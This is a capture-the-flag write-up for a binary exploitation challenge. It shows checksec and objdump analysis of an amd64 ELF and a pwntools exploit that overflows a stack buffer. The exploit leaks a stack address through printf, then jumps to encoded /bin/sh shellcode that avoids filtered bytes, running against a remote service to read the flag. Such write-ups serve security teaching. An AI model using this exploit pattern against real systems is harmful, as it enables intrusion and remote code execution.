Category: Binary Exploitation
Flag: SCSC26{my_old_chall_on_r3v3ng33333_nice_c4tch_b7w}
Description: port 6662
The challenge gave one amd64 ELF and a remote service. First checks showed a non-PIE binary with no canary and an executable stack.
file '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o: ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped
stat -c '%s %F %y' '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
16144 regular file 2026-05-16 15:39:24.605327985 +0700
checksec --file='/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Symbols named the important functions. main reads 0x100 bytes into a 0x50 byte stack buffer, then runs check_badchars before returning.
nm -n '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
0000000000401156 T setup
00000000004011b7 T check_badchars
0000000000401247 T main
objdump -d -Mintel '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
main:
sub rsp,0x50
read(0, rbp-0x50, 0x100)
check_badchars(buf, nread)
leave; ret
check_badchars blocks bytes: 0x90, 0x2f, 0x0f
The error string in .rodata matched the byte filter. Raw /bin/sh amd64 shellcode contains / and syscall bytes, so it would be killed by check_badchars.
objdump -s -j .rodata '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
.rodata: "[-] Security alert! Bad character '\x%02x' detected!"
A short crash test confirmed saved RIP offset 88.
from pwn import *
p = process('/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o')
p.send(b'A'*88+b'BBBBBBBB')
p.wait()
print('exit', p.poll())
SIGSEGV, confirms saved RIP offset 88.
There was no useful jmp rsp or syscall gadget in the file, so the exploit used the executable stack. Stage one returned into printf with the stack buffer as the format string, then returned to main. That leaked a stack pointer.
from pwn import *
elf=ELF('/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o', checksec=False)
fmt=b'%p.'*12
stage1=fmt.ljust(88,b'A')+p64(elf.plt['printf'])+p64(elf.sym['main'])
p=process(elf.path)
p.send(stage1)
out=p.recvuntil(b'A'*20, timeout=1)
print(out)
0x68.(nil).0x2000.(nil).(nil).0x7ffe33d5af48.0x133d5ae80.0x401247.(nil)...
Local gdb correlation gave leak - second_stage_buffer = 0x168 and ret target = second_stage_buffer + 96. The remote stack layout differed by 0x10, so the final script tried 0x168 and 0x178. It used pwntools’ encoder to build shellcode with none of 0x90, 0x2f, 0x0f, 0x00, or newline.
from pwn import *
context.clear(arch='amd64')
from pwnlib.encoders.encoder import encode
elf=ELF('/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o', checksec=False)
sc=encode(asm(shellcraft.sh()), avoid=b'\x90/\x0f\x00\x0a')
fmt=b'%p.'*12
stage1=fmt.ljust(88,b'A')+p64(elf.plt['printf'])+p64(elf.sym['main'])
for diff in [0x168,0x178]:
io=remote('43.128.69.211',6662,timeout=4)
io.send(stage1)
out=io.recvuntil(b'A'*16,timeout=4)
leak=int(out.split(b'.')[5],16)
target=leak-diff+96
payload=b'B'*88+p64(target)+sc
io.send(payload)
io.sendline(b'echo MARKER; /bin/cat /flag 2>/dev/null; /bin/cat flag.txt 2>/dev/null; exit')
data=io.recvall(timeout=2)
print(diff, data)
Diff 0x178: AAAAAAAAAAAAAAAAAAAAMARKER
SCSC26{my_old_chall_on_r3v3ng33333_nice_c4tch_b7w}